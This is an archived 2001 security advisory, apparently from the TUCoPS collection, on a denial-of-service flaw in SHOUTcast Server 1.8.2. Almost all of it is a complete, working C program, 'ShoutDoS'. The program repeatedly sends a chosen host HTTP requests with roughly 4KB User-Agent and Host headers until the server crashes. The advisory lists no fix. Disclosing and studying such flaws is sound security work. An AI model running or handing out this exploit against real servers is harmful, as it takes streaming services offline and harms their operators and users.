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TUCoPS :: Windows Net Apps :: winamp.htm

WinAMP ShoutCast server crash



COMMAND

    WinAMP

SYSTEMS AFFECTED

    SHOUTcast Server 1.8.2 Linux/win32/?

PROBLEM

    'FraMe' found following.   SHOUTcast Server is  a streaming  audio
    server.  A "bad" client request can crash the server.

    Server  crash  when  it  gets  seven  times  (aprox)  a  very long
    buffer (4KB) in  fields: User-Agent and  Host, in the  client HTTP
    request.

    The DoS in C format is attached.

    /*
     * ShoutDoS: Remote Denial of Service SHOUTcast Server
     *
     * ShoutDoS (C) 2001 FraMe <frame@hispalab.com>
     *
     * Tested:
     *	  SHOUTcast Server 1.8.2 Linux
     *	  SHOUTcast Server 1.8.2 Win32
     *
    */
    
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/param.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <sys/errno.h>
    
    void msg(void) {
        printf("ShoutDoS: Remote Denial of Service SHOUTcast Server\n");
        printf("ShoutDoS (C) 2001 FraMe <frame@hispalab.com>\n");
    }
    
    int main(int argc,char **argv) {
    
        int s,n=0,c;
        struct sockaddr_in sa;
        struct hostent *SHOUTserver;
    
        char buffer[]="GET / HTTP/1.0\r\nUser-Agent: SHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcast
    DenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServicSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofServiceSHOUTcastDenialofService\r\nHost: your.server.go.crash.now.your.server.g o.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.
    go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.serve r.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.server.go.crash.now.your.serv
    er.go.crash.now.your.server.go.crash.now.your.server.go.crash.now\r\nAuthorization: Basic\r\n\r\n";
        char rbuff[512];
    
        if ( argc != 3 ) {
	    msg();
	    printf("Usage: %s ip port\n",*argv);
	    exit(1);
        }
    
        if ((SHOUTserver = gethostbyname(argv[1])) == NULL) {
	    msg();
	    printf("Error: gethostbyname()\n");
	    exit(1);
        }
    
	    memcpy(&sa.sin_addr.s_addr,SHOUTserver->h_addr,SHOUTserver->h_length);
        sa.sin_family = AF_INET;
        sa.sin_port = htons(atoi(argv[2]));
    
        if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
	        msg();
	        printf("Error: socket()\n");
	        exit(1);
	    }
    
        if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
	        msg();
	        printf("Error: connect()\n");
	        exit (1);
	    }
    
        close(s);
        msg();
        printf("Connect. The host appears be up...\n");
        printf("Doing DoS ");
    
    DoS:
    
	    if ((s=socket(PF_INET,SOCK_STREAM,0)) < 0 ) {
	        printf(" Error!\n");
	        exit(1);
	    }
    
	    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
	        printf(" Server Crash!\n");
	        exit (1);
	    }
    
	    write(s,buffer,sizeof(buffer)-1);
	    read(s,rbuff,sizeof(rbuff));
	    close(s);
	    printf(".");
    
        goto DoS; // Basic Power :)
    }
    
    /* EOF */

SOLUTION

    Nothing yet.


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